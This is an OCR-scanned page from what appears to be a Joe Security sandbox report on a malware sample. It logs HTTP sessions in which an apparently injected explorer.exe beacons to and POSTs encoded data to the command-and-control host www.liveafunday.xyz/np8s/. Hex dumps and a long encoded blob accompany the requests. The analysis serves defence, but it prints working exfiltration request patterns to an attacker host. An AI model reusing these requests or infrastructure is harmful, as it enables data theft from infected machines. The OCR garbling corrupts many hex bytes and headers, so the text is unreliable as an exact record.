4UNBLOXACChF-uBZYz0aX8C5qtn3h~-OKcFRKGJIrxAKjdaOCbhzt2YsqmY7uYyR7PxA_abhKhbzgzF4vYKTVTyBPYUd
M5dIZRI7ECd4jQPtLSXBKxEe8qfydNi8rpD5T3fyVN8B88104L00ZnfeoPoyfcr7eM6EMV_khgX260k~S6E35Pugau
t0DzhcydVGUth1hjSMnGAeDoX~XXtmRAkI6FcUb3U9x4gxtgwpsjkRZvvbimhJsaguO09gfO9gXi8dG9L300Z641eU
INXSL9nrowzx2nXo7BDIr(rZRmMgtwrwlA_uoMZ64q-x2pCxOFHE2WxwBtbimOf2QEIb4YASPIMOjb_g36QNiJJ4ZJ)
7fVk50q3bVVNhkIWglo2CbJbhrDg6B1c-sUxDOI3NrWpVgMeEh1KVf1IRHIjSgxdes1VaAXJa5oMWalYv7SwjQQq7Lhl
p4x4DLEOsPIgpKgloLsYBVdfle-PTTppxfu77~BM3BdyKI299VYyBkk7sq_PaNJZXviplAe8A4ika(kz-40mnsgSPr
duduwCWvJHizC(v4CPwV_sn4IDM5A1XaoczXyINZAJYtXVN1iDpO1YmZ7EYmVgHmtIZBhiwS7a9ybor6UeCF8yOVNP
ygbFtAQ2RyUGb8emRyhA5t3eD7L.a06Rz5iz70ZTq9WczmOren2swXF_gZHgcEZz4mpmXIPMLIc6f278xMWMfD30kPV
WxPsJexgmpdErLNY68rvs(58 TWIIgQCFwYzrnwj(7iCw2MIBQDVMSKNOikRIredj7p8bF3IZB(i0Y 7YHgAq(KTA(Qj
bPGyC1_pNWxygGaGo95XkzuX9dPE1ZOpnx6VRgMLK3WpC247DJThCndGX201vLc2WcWd-dcTsDISuRUD
16e9Gjx0jRDkxa7uOnENFITPriljhWwYPOUWVGIQjQcsadJ6N7icxU35ZWBijtcvF1-GraUgTeP33gs(WyXY3K2QB36m
mnFjIE1wsG7POK5SXfYmxtAMEBLtt7 WjHrJsuhMjjJ3yoX6m2vdM4R5GYU80LG5mNFKDC1Hzr4EDyXwcY40y pEGNc
JGwSkag80h_bGG5TQrktUPFaFF7OCMmy3N2AIG1X3H44000E_ONzYeJPpewlF1jzEp-iBetVIBuhTjXyhtnXKdNtK1
zdyic6EimB7gJyNHmd1EXyzMEVU7WRFehnLBCroFVsipd(YxXIYJTglPmWawaHUH4K7yhIKGMNoCTheXZ9KLF1B7St
UbF3I5wt7MtUWWQWTjVXrivSY VrBfH|PTr3EypQZNud5MpWMyntzZxd9qttZUE (wn1QFUTsPPWkapY P4cArlfgFGK
Y69kQsY6EPrzVokyfXyxITNEeW64qG4sjbUXkPxssBARzrQGK5DBO0OtNi5JwCSNV3c10GVZD6UZ3frzEXRKcOhzCz
ASCxXZgiRhQj0g5TjLx228gULTAphUhOXS3RVTZnYH9140THjzzYalH8ybS3AaLBQWjNLNZzdLMhgdIxJwVuF0_2cdMO-
KVVpTERZcY3LFk6xbpk9(bLaiX3QFQf6F6vosPdR2nxJIESsimrRvHdFUVFkmtju92u2eiAJh_T7KuzvM6enGRgl
KOsS_rAK3rulPYDk-HRCzTDX0ng5POTnHI_Pk3L1v2UBIXBTaFEobvOhvagDXkmflLierSBHAGpEVLIOrN25x-AV~CQ
WPPXGVgNrpPE1Y9J1xTz61EPdauGi6llZqQ9dNWYpvrZtGKZ9dlahUwHFOOZKD-64Pe6rbibfErYyjZalamatQiL90O
x4_KcNiJ_IXw4HIrnzbg616~57e0xTR8kdAmthfXEIfBZQPerRQgmYMvEaapFnXrpKGDCQQIYfuEw7XNGwxOMI_wE~
1Gz0TNhXidUJX8J1E8EUyaT Zkutny8flu(p6rgoAdy6w05AQbYHNpGdbs6_Rp~ATJcsXICZuv9-IkExypZDCkD55tQ
NpCfharAHMkgotA79hsoiemlY6p318JnyLwV1V0941hfZPvziX6Wurf20zbNCTTwwYkAasoDUb-tW5CGXTHG-eDLsplEEH-
PuYGLZIdYZpjsxGjF9znEzD5gU1QN8zbHphSONIY2QAibrOznZOPRf3gMTCWAA4G_HbBS1AX0GjTONvwgDWWIGGZLNgA-
36HrVqVFFtNTzyjoxb9m1gjxjDy_y8JRuH6ihjol5YCMQ8XP9IntY-6LMd12wimZCiN-OGORW?7(UX1DMntMrNH7jMjYsz
om3QB2X6Ckmg-2DNuleHrqPKXROHfIIGA44XPI04tjmffk03C7Z2clEI-QVIHIWWMW-NOmMEGAOSbUM9FV7YmsTAXj~
QM6FqYK~QWgefWrzINJaimgxGbgmDSOgB6BFRrInJpi5SF3D1DGeh_E2spBxtDpdmVzph4UhAPMsmGXrwrdYbVs9kLK
kphZPTbwinzS2rkVWeWq8JRIzhKPBoezgLFj3g27EEEz1sYYPDjdLmPmenglZJR8aicAaiSL8C8YXwK(jeRmy3mgPG
fOHV59PsLn6Bipd8Dty TI5xkeyrSGkI3yHIW_grz1UuHKRYt7s7Eij6CuhlFHPgNVibYGnwsqY-QnnSyvJrcobbel Ewlyfab1QF(
EyBTCEYZz}WMCcnohARSZgNFWjmLt7J0JwS842HhbPKotXNWe2v7hvThWuexKwPUHFSEUGFnpYUyJxmSh
GwvpNSBuA71188PnYMOagBIW_fZU4pgqS8Ri8FeRwpZWUvCmrz7rHe2EwJ3PhAOVIf7xnb6vRZ_jkLcgmEjskOM95P
RdknQKNoK7wtU2fomEONLMtcp9LzQgLrDM2ZGluy1J7L92IzTWToTACUZHAW]GUQKOTT1YT83sy5AqsB6qFg_Bei8s
TKwnIMU75F63vAC6swF73bbla6WDE1ltcolbqgOkPL~mMTie9o6zalbpjyNALclBnZ3hAabRBxH-fMj5EybG5qO-8yc
CHiXpQh4NMnfHrT71HBDH5Y celLgkXAQUA-uPWgR0SJWVbgkpKOZkHn9ujAEcC3FdJvg3KxIIVQIGaStJA-rkm9TgB
WeY1FJVVH6gGHItEcuTdOASKaNIpYkuwQhUaPhW(Ng5lejJSYMTghjfzmPgU7UwBW~Mu9JaGulWohxO4vrEu3ltaio
MEiYrlaJqYTx637HyRQedEsyQTFBEDdg3L6BVIUIAEOw7puvvivHntoyuuXDN5mrdlhx_ONN7HxRk73EHsST8NB_mbF
7Z4vXL76Ypvth~QCk4YA-x498Lhnx1gJ2YBbEAABISIhq85v0hyHCRb(KaczM9AWrSWdGvQ7J36aGBhyPvKSm8hYU
FmgHn8fQf6tI TQzg7DOt6vqoNOKKkGZkmeInGIWQgWJIKtFkftrpWhI5xbiOzS10vzE(Co74gk9128wzN23IfgLRtl-Z
zInINR10QgSLnT7ixzpSFpDNMLMZiuhZ566h8MICKoaRWxeizssnJWVqEyewQ89kTfSt23hk3dWefqzXGaPyh2Tvu
IHZmdDcYRgZLmUcdAnjgDozAPU7kYAzH1eDtvm8Eymmb5leppRidReY_ObnWLOxZ8pHIMAIlalEQFow91p35FIxgqAchG
rHOTrb-J8LGFuMgaWNt(000yC1KCtYVvIHQHIhOBbahDVFsfkXxm6dglTm6YthaWZaNpFV_eNVHQnwK8BpLIWrxHI2z7
h9ewvNGVNC_sgBniJjJWiNXb6Ty2nhGSFD7v6_XL3U4pTQsohUiSWIVQ

Page 65 of 87



kBytes

Timestamp e Direction
May 27, 2022 9610 IN
17:30:11.926938057
CEST
Session ID Source IP Source Port
39 192.168.2.3 49957
. kBytes . .
T D
imestamp transferred irection
May 27, 2022 9559 ouT
17:30:11.063091040
CEST

Copyright Joe Security LLC 2022

172.96.186.204 80

Data

HTTP/1.1 404 Not Found

Connection: close

x-powered-by: PHP/7.4.29

content-type: text/html; charset=UTF-8

x-litespeed-tag: 440_HTTP.404

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <http://thebestvidforall.xyz/wp-json/>; rel="https://api.w.org/"

x-litespeed-cache-control: no-cache

transfer-encoding: chunked

content-encoding: gzip

vary: Accept-Encoding

date: Fri, 27 May 2022 15:30:11 GMT

server: LiteSpeed

Data Raw: 32 66 35 32 0d Oa 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 b6 92 e8 67 bb ea fc 07 Oc 5d 19 4b 09 49 91
d4 9b b2 9c 3d 99 3c 36 5b c9 9e 54 26 d9 5b b7 92 d4 14 44 42 12 67 28 92 87 84 2c 39 8e ef 6f bf d5 78 f0 25 50 2f 8f
93 d4 ce 24 95 58 24 81 ee 46 a3 d1 dd 00 1a 8d 9b 17 5f fe eb d5 4f ff {7 87 af d0 92 ae c2 db cb 1b f8 83 42 1c 2d a6 la
89 8c 9f 5f 6b fO 8e 60 ff f6 f2 e2 66 45 28 46 de 12 a7 19 al 53 ed e7 9f be 36 46 1a ea e4 5f 22 bc 22 53 ed 2e 20 9b 24
4e a9 86 bc 38 a2 24 a2 53 6d 13 f8 74 39 f5 ¢9 5d e0 11 83 3d e8 28 88 02 1a €0 d0 c8 3c 1c 92 a9 cd e0 70 04 Oc cc 75
lacf 62 9a 5d €7 40 ae 57 78 6b 04 2b bc 20 46 92 12 40 e2 86 38 5d 90 6b 20 e0 86 06 34 24 b7 3f e0 05 41 51 4c d1
3c 5e 47 3e 7a 79 35 72 6¢ 7b 82 be bf 47 5f 84 f1 e2 a6 c3 4b 5d de 84 41 f4 Oe a5 24 9c 5e fb 51 06 e0 e6 84 7a cb 6b
b4 4c c9 7c 7a dd e9 d0 25 99 91 8c de 05 fe 3c 4e 71 18 9a db fb df 39 9e 43 35 33 73 63 c6 €9 a2 56 58 c3 21 25 69 84
29 d1 10 bd 4f c8 54 c3 49 12 06 1e a6 41 1c 75 d2 2c fb 6¢ bb 0a 35 c4 c8 9b 6a 82 5¢ f4 32 c5 ff 5e ¢7 13 f4 35 21 be c6
69 d3 96 94 26 ae 9a c0 ce 9c 10 bf ¢3 f9 98 93 f9 34 cc af e2 d5 8a 44 34 3b 9a 04 4f 54 28 d3 92 79 69 90 d0 db cb 4d
109l c6 7c b3 49 c8 2a 7e 1b bc 26 94 06 d1 22 43 53 f4 a0 cd 70 46 7e 4e 43 cd 65 0d cc dc 5f 3b bf 76 04 2b 7f ed
b0 4e cf 7e ed 78 71 4a 7e ed b0 ca bf 76 ec 9e 69 99 d6 af 9d al b3 1d 3a bf 76 34 5d 23 5b aa b9 9a 99 44 0b 4d d7 b2
bb ¢5 79 f0 b2 bb 05 83 96 dd 2d be e2 00 b3 3b 06 30 5e a7 1le d1 dc 07 cd 8b 23 0f 53 46 86 a0 97 91 ab 92 99 5f 3b 9b
c4 08 22 2f 5¢ fh 24 b b5 3 36 63 2f 58 55 23 25 21 c1 19 31 57 41 64 be cd 3e bf 23 €9 74 60 5a da e3 e3 e4 b2 f3 e9
Ob f4 d3 32 ¢8 d0 3c 08 09 Oa 32 84 d7 34 36 16 24 22 29 a6 c4 47 9f 76 2e 5f cc d7 91 07 d2 d3 22 3a d6 69 fb el Oe a7
28 d2 53 3d d6 83 29 36 bd 94 60 4a be 0a 09 74 5f 4b f3 70 74 87 33 ad ad 27 d3 c0 5c 10 fa 0a 06 6 96 be 7c 59 7e 6a
69 8e af b5 27 12 30 ca 5a 44 02 c6 d3 d7 34 0d a2 85 39 4f e3 d5 ab 25 4e 5f ¢5 3e d1 c9 b4 95 98 5e 48 70 fa 23 f1 68
cb d2 2d 3d 30 f9 e8 Oe cc 25 09 16 4b da d6 13 73 1e 84 el 4f 64 4b 5b d8 04 a9 bf 6f d1 65 90 e9 a4 ad 5b ba d5 d6 03
93 c6 5f 62 8a 7f fe f1 bb 56 bb 3d 49 09 5d a7 11 3a 1f 2e 15 70 c9 74 3a ad c0 7e cc 1b e6 b5 08 €7 17 dd e5 14 17 56
ad 3d al 66 96 7a 53 a2 53 d3 27 73 92 4e a9 c9 07 2e f0 ad f3 16 df 61 51 52 c7 c0 50 c1 e9 ec 8b fb 9f f0 e2 bf f1 8a b4
34 d0 99 5a fb 17 eb 37 68 35 89 fc 57 cb 20 f4 5b b4 fd 38 8f d3 56 3c fd 67 9a e2 fb 96 36 0Of 31 48 17 97 a6 b6 4e cd 6¢
9d 80 2 cc a6 Of e4 8e a4 f7 74 19 44 0b 7 85 a5 17 4f 5f 6d 3d 92

Data Ascii: 2f52}ksg]KI=<6[T&[DBg(,90x%P/$X$F_OB-_k fE(FS6F_"'S. $N8$Smt9]=(<pub] @Wxk+ F@8]k 4$?AQL<
AG>zy5r{G_K]A$"QzKL |z%<Ng9C53scVX!%i)OTIAu,I5)\2/5!i&4D4; 0T (yiM|I*~&"CSpF~NCe_;v+N~xqJ~Vi:v4]#DMy-
[0MSF_"\$BC/XUHY%! ITWAd>#t Z2<246$")Gv._"i(S=)6"Jt_Kpt3'\|Y~ji'0ZD490%N_>"Hp#h-=0%KsOdK[oe[_bV=I]:
.pt:~V=fzSS'sN.aQRP4Z7h5W [8V<g61HNItDO_m=

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?BI=IHUDzXfpVJ_&c2MH6DeP=z2yla7cx1SROgCPUWMRj7QFmMCzRewXUzLnCINKjkn7TUjkjwrWOkK9K
MIL9EtH2011i9 HTTP/1.1

Host: www.liveafunday.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp e Direction
May 27, 2022 9597 IN
17:30:11.859313965
CEST
Session ID Source IP Source Port
4 192.168.2.3 49820
. kBytes . .
T D
imestamp transferred irection
May 27, 2022 7580 ouT
17:28:00.903393030
CEST

Copyright Joe Security LLC 2022

172.96.186.204 80

Data

HTTP/1.1 404 Not Found

Connection: close

x-powered-by: PHP/7.4.29

content-type: text/html; charset=UTF-8

expires: Wed, 11 Jan 1984 05:00:00 GMT

cache-control: no-cache, must-revalidate, max-age=0

link: <http://thebestvidforall.xyz/wp-json/>; rel="https://api.w.org/"

x-litespeed-cache-control: public,max-age=3600

x-litespeed-tag: 440_HTTP.404,440_404,440_URL.249cf122f2d92b3e82f0723a2e93dc1c,440_

x-litespeed-cache: miss

transfer-encoding: chunked

date: Fri, 27 May 2022 15:30:11 GMT

server: LiteSpeed

Data Raw: 66 35 34 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e Oa
09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64
65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6
e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77
3a 6¢ 61 72 67 65 27 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b
20 4d 79 20 42 6¢ 6f 67 3c 2f 74 69 74 6¢ 65 3e Oa 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68
27 20 68 72 65 66 3d 27 2f 2f 74 68 65 62 65 73 74 76 69 64 66 6f 72 61 6¢ 6¢C 2e 78 79 7a 27 20 2f 3e Oa 3c 6¢ 69 6e 6b
2072 65 6¢ 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e Oa
3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74 69 6f 62
2727373 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 4d 79 20 42 6¢ 6f 67 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68
72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 68 65 62 65 73 74 76 69 64 66 6f 72 61 6C 6C 2e 78 79 7a 2f 66 65 65 64 2f 22 20
2f 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74
69 6f 6e 2f 72 73 73 2b 78 6d 6¢ 22 20 74 69 74 6¢ 65 3d 22 4d 79 20 42 6¢ 6 67 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d
65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 68 65 62 65 73 74 76 69 64 66 6f 72 61 6
6c 2e 78 79 7a 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3¢ 73 63 72 69 70 74 3e Oa 77 69 6e 64 6f 77
2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6¢ 22 3a 22 68 74 74 70 73 3a 5c 2f
5c 2f 73 2e 77 2e 6f 72 67 5¢ 2f 69 6d 61 67 65 73 5¢ 2f 63 6f 72 65 5¢ 2f 65 6d 6f 6a 69 5¢ 2f 31 34 2e 30 2e 30 5¢ 2f 37
327837 32 5¢ 2f 22 2¢ 22 65 78 74 22 3a 22 2e 70 6e 67 22 2¢c 22 73 76 67 55 72 6¢ 22 3a 22 68 74 74 70 73 3a 5¢ 2f 5¢
2f 73 2e 77 2e 6f 72 67 5¢ 2f 69 6d 61 67 65 73 5¢ 2f 63 6f 72 65 5¢ 2f 65 6d 6f 6a 69 5¢ 2f 31 34 2e 30 2e 30 5¢ 2f 73 76
67 5¢c 2f 22 2¢ 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2¢c 22 73 6f 75 72 63 65

Data Ascii: f54f<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta name="viewport"
content="width=device-width, initial-scale=1" /><meta name="robots' content="max-image-preview:large' /><title>Page not
found &#8211; My Blog</title><link rel="dns-prefetch’ href="//thebestvidforall.xyz' /><link rel='dns-prefetch’ href="//s.w.org’
/><link rel="alternate" type="application/rss+xml" title="My Blog &raquo; Feed" href="http://thebestvidforall.xyz/feed/" />
<link rel="alternate" type="application/rss+xml" titte="My Blog &raquo; Comments Feed" href="http://thebestvidforall.
xyz/comments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.orgVimages\/core\/lemoji\/14.0.0\/72x7

2\/""ext":".png","svgUrl":"https:VV/s.w.org\/images\/core\emoji\/14.0.0Vsvg\/","svgExt":".svg","source

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www. liveafunday.xyz

Connection: close

Content-Length: 36482

Cache-Control: no-cache

Origin: http://www.liveafunday.xyz

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.liveafunday.xyz/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 63 32 4d 48 36 44 65 50 3d 38 30 47 79 45 62 70 43 37 79 42 5a 6e 43 7e 33 51 49 45 44 37 46 78 69 4e 53
39 78 33 45 42 34 59 43 62 63 56 45 44 62 6e 2d 50 65 7a 57 50 31 6b 6d 46 69 5a 62 37 5f 36 71 78 74 72 55 4f 6b 51
3137 78 3959 56 44 67 45 31 6a 77 53 30 36 54 43 4e 30 56 49 72 38 42 70 30 48 6¢ 59 6¢ 34 30 56 63 37 73 66 45 46
5a 66 79 6247 66 49 71 36 72 49 58 61 31 59 61 31 62 79 74 4c 4e 78 44 54 33 77 61 30 49 66 72 4c 46 57 36 6a 34 4d
52 63 6¢ 42 72 54 42 54 55 53 46 36 79 67 64 59 33 79 51 31 38 4a 77 6¢ 65 79 68 78 51 68 59 47 4d 77 67 57 4b 64 56
47 34 46 63 44 4e 41 67 39 4a 68 52 6b 51 44 4c 39 4e 30 42 45 65 57 46 38 7a 7a 6e 70 68 46 52 73 57 34 55 47 5f 6a
58 4e 70 72 2d 4¢ 38 77 77 31 30 70 6d 77 58 73 4c 58 48 6a 31 7a 50 44 63 6f 68 5a 34 66 57 38 36 4b 57 57 48 48 70
68 74 6e 68 72 42 4d 48 74 67 31 44 41 75 4e 78 66 36 4b 51 4c 7a 31 4d 41 37 72 64 56 4f 50 64 61 70 71 36 32 71 37
44 53 52 69 47 55 42 4d 38 33 4f 78 74 34 4c 79 42 61 67 79 47 66 72 4c 70 33 30 71 70 32 34 55 4e 36 4c 30 78 41 43
43 68 46 2d 75 42 5a 59 7a 4f 61 58 38 43 35 71 74 6e 33 68 7e 2d 4f 4b 63 46 52 6b 47 4a 72 78 41 4b 6a 64 61 4f 43
62 7a 743259 73 71 6d 59 37 7559 79 52 37 50 78 41 5f 61 62 68 4b 68 62 7a 67 7a 46 34 76 59 6b 54 56 54 79 42 50
59 55 64 4d 35 64 6¢ 5a 52 6¢ 37 45 43 64 34 6a 51 50 74 4¢c 53 58 42 4b 78 45 65 38 71 66 79 64 4e 69 38 72 70 44 35
54 33 66 79 56 4e 38 42 38 38 31 30 34 4c 30 30 5a 6e 66 65 6f 50 6f 79 66 63 72 37 65 4d 36 45 4d 56 5f 6b 68 71 58 32
36 6f 6b 7e 53 36 45 33 3550 75 67 61 75 74 30 44 7a 68 63 79 64 56 47 55 74 68 31 68 6a 35 4d 6e 47 41 65 44 6f 58 7
e 5858 74 6d 52 41 6b 49 36 46 63 55 62 33 55 39 78 34 67 78 74 67 77 70 73 6a 6b 52 5a 76 76 62 49 6d 68 4a 73 61
67 75 4f 4f 39 67 66 4f 39 67 58 69 38 64 47 39 4c 33 30 6f 5a 36 34 31 65 55 69 4e 58 53 4¢ 39 6e 72 6f 77 7a 78 32 6e
58 6f 37 42 44 6¢ 72 28 72 5a 52 6d 4d 67 74 77 72 77 6¢ 41 5f 75 6f 4d 5a 36 34 71 2d 78 32 70 43 78 4f 46 48 45 32 57
78 77 42 74 62 69 6d 4f 66 32 51 45 49 62 34 59 41 53 50 39 6d 30 6a 62 5f 67 33 36 51 4e 69 4a 4a 34 5a 4a 37 66 56
6b 35 4f 71 33 62 56 76 4e 68 6b 6¢ 57 71 6¢ 6f 32 43 62 4a 62 68 72 44 71 36 42 31 63 2d 73 55 78 44 30 49 33 4e 72
57 70 56 67 4d 36 68 31 4b 56 66 31 52 48 49 6a 53 71 78 64 63 73 31 56 61 41 58 4a 61 35 6f 4d 57 61 6¢ 59 76 37 53
77 6a 51 51 71 37 4¢c 68 6¢ 70 34 78 34 44 4c 45 30 73 50 49 67 70 4b 67 31 6f 4c 73 59 42 56 64 66 4a 65 2d 50 54 54
7070 78 66 75 37 37 7e 42 4d 33 42 64 79 4b 6¢ 32 39 39 56 59 79 42 6b 6b 37 73 71 5f 50 61 4e 4a 5a 58 76 6¢ 70 6¢
41 65 38 41 34 69 6b 61 28 6b 7a 2d 34 4f 6d 6e 73 67 53 50 72 64 75 34 75 77 43 57 76 4a 48 69 7a 43 28 76 34 43 50

7756 5f 73 6e 34 49 44 4d 35 41 31 58 61 6f 63 7a 58 79 6¢ 4e 5a 41 4a 59 74 58 56 4e 31 69 44 70 4f 31 59 6d 5a 37
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kBytes

Timestam
P transferred

Copyright Joe Security LLC 2022

Direction

45 59 6d 56 71 48 6d 74 49 5a 42 68 69 57 53 37 61 39 79 62 6f 72 36 55 65 43 46 38 79 30 56 4e 50 79 71 62 46 74 41
%Eﬁ 52 79 55 47 62 38 65 6d 52 79 68 41 35 74 33 65 44 37 4c 61 4f 36 52 7a 35 69 7a 37 30 5a 54 71 39 57 63 7a 6d
4f 72 65 6e 32 73 77 58 46 5f 67 5a 48 67 63 45 5a 7a 34 6d 70 6d 58 6¢ 50 4d 4c 6¢ 63 36 66 32 37 38 78 4d 57 4d 66
44 33 4f 6b 50 56 57 78 50 73 4a 65 78 67 6d 70 64 45 72 4c 4e 59 36 38 72 76 73 28 35 38 54 57 6¢ 6¢ 67 51 43 46 77
59 7a 72 6e 77 6a 28 37 69 43 77 32 4d 6¢ 42 51 44 56 4d 53 6b 4e 30 69 6b 52 6¢ 72 65 64 6a 37 70 38 62 46 33 6¢ 5a
42 28 69 30 59 37 59 48 67 41 71 28 6b 54 41 28 51 6a 62 50 47 79 43 31 5f 70 4e 57 78 79 71 47 61 47 6f 39 35 58 6b
7a 75 58 39 64 50 45 31 5a 4f 70 6e 78 36 56 52 67 4d 4c 4b 33 57 70 43 32 34 37 44 4a 54 62 43 6e 64 47 58 32 4f 31
76 4c 63 32 57 63 57 64 2d 64 63 54 73 44 4a 73 75 52 55 44 49 36 65 39 47 6a 78 6f 6a 52 44 6b 78 61 37 75 4f 6e 45
4e 46 6¢ 54 50 72 69 6¢ 6a 68 57 59 50 30 55 57 76 47 69 51 6a 51 63 73 61 34 4a 36 4e 37 69 63 78 55 33 35 5a 57 42
6a74 63 76 46 31 2d 47 72 34 55 71 54 65 50 33 33 67 73 28 57 79 58 59 33 4b 32 51 42 33 36 6d 6d 6e 46 6a 49 45 31
77 73 47 37 50 4f 4b 35 53 58 66 59 6d 78 74 41 4d 45 68 42 74 74 37 57 6a 48 72 4a 73 75 68 4d 6a 6a 4a 33 79 6f
Data Ascii: c2MH6DeP=80GyEbpC7yBZnC~3QIED7FxiNS9X3EB4YChcVEDbn-PezZWP1kmFiZb7_6gxtrUOkQ17x9
YVDgE1jwS06 TCNOVIr8BpOHIYI40Vc7sfEFZfyjGflg6riXalYalbytL NxDT3wa0lfrLFW6j4MRcIBr TBTUSF6ygdY
3yQ18JwleyhxQhYGMwgWKdVG4FcDNAg9JhRKQDLINOBEeWF8zznphFRsW4UG_jXNpr-L8ww10pmwXsLX
Hj1zPDcohZ4fW86KWWHHphtnhrBMHtg1DAUNXf6KQLz1MA7rdVOPdapq62q7DSZiGUBM830xt4LyBagyGfrLp30qp2
4UNBLOXACChF-uBZYzOax8C5qgtn3h~-OKcFRkGJIrxAKjdaOCbzt2YsgmY7uYyR7PxA_abhKhbzgzF4vYKTVTyBPYUd
M5dIZRI7ECd4jQPtLSXBKxEe8qfydNi8rpD5T3fyVN8B88104L00ZnfeoPoyfcr7eM6EMV_khgX260k~S6E35Pugau
t0DzhcydVGUth1hjSMnGAeDoX~XXtmRAkI6FcUb3U9x4gxtgwpsjkRZvvbimhJsaguO09gfO9gXi8dG9L300Z641eU
INXSL9nrowzx2nXo7BDIr(rZRmMgtwrwlA_uoMZ64q-x2pCxOFHE2WxwBtbimOf2QEIb4YASPI9MOjb_g36QNiJJ4ZJ
7fVk50q3bVVvNhkIWglo2CbJbhrDg6B1c-sUxDOI3NrWpVgM6h1KVf1RHIjSgxdcs1VaAXJa5oMWalYv7SwjQQq7Lhl
p4x4DLEOsPIgpKgloLsYBVdfJe-PTTppxfu77~BM3BdyKI299VYyBkk7sq_PaNJZXvlplAe8Adika(kz-40OmnsgSPr
duduwCWvJHizC(vACPwV_sn4IDM5A1XaoczXyINZAJYtXVN1iDpO1lYmZ7EYmVgHmtIZBhiwS7a9ybor6UeCF8y0VNP
ygbFtAQ2RyUGb8emRyhA5t3eD7La0O6Rz5iz70ZTq9WczmOren2swXF_gZHgcEZz4mpmXIPMLIc6f278xMWMfD30OkPV
WxPsJexgmpdErLNY68rvs(58 TWIIgQ CFwYzrnwj(7iCw2MIBQDVMSKNOikRIredj7p8bF3IZB(i0Y 7YHgAq(KTA(Qj
bPGyC1_pNWxygGaGo95XkzuX9dPE1ZOpnx6VRgMLK3WpC247DJThCndGX201vLc2WcWd-dcTsDIsuRUD
16e9Gjx0jRDkxa7uOnENFITPriljhwYPOUWVGIQjQcsadJ6N7icxU35ZWBijtcvF1-GraUgTeP33gs(WyXY3K2QB36m
mnFjIE1wsG7POK5SXfYmxtAMEB(tt7 WjHrJsuhMjjJ3yoX6m2vdM4R5GYU80LG5mNFKDC1Hzr4EDyXwcY40y_pEGNc
JGwSkag80h_bGG5TQrktUPFaFF7OCMmy3N2AIG1X3H44000E_ONzYeJPpewlF1jzEp-iBetVIBuhTjXyhtnXKdNtK1
zdyic6EimB7gJyNHmd1EXyzMEVU7WRFehnLBCroFVsipd(YxXIYJTglPmWawaHUH4K7yhIKGMNoCTheXZ9KLF1B7St
UbF3I5wt7MtUWWQWT;jVXrivSYVrBfH]Pj Tr3EypQZNud5MpWMyntzZxd9qttZUE(wn1QFUTsPPWkqgpYP4cArlfgFGK
Y69kQsY6EPrzVokyfXyxITNEeW64qG4sjbUXkPxssBARzrQGK5DBO0OtNi5JwCSNV3c10GVZD6UZ3frzExRKcOhzCz
ASCXXZgiRhQj0g5TjLx228gULTAphUhOXS3RVTZNnYHII40THjzzYalH8ybS3Aal BQW]NLNZzdLMhqdIxJwVuF0_2cdMO-
KVVpTERZcY3LFk6xbpk9(bLaiX3QFQf6F6vosPdR2nxJIESsimrRvHAFUVFkmtjU92u2eiAJh_T7KuzvM6nGRgl
KOsS_rAK3rulPYDK-HRCzTDX0ng5POTnHI_Pk3L1v2UBIXBTaFEobvOhvagDXkmfLierBHAGPEVLIOrN25x-AV~CQ
WPPXGVgNrpPE1Y9J1xTz61EPdauGi6lIZqQ9dNWYpvrZtGKZ9dlahUwHFO0ZkD-64Pe6rbibfErYyjZalamatQiL90O
x4_KcNiJ_IXw4HIrnzbg616~57e0xTR8kdAmthfXEIfFBZQPerRQgmYMvEaapFnXrpKGDCQQIYfuEW7XNGwxOMI_wE~
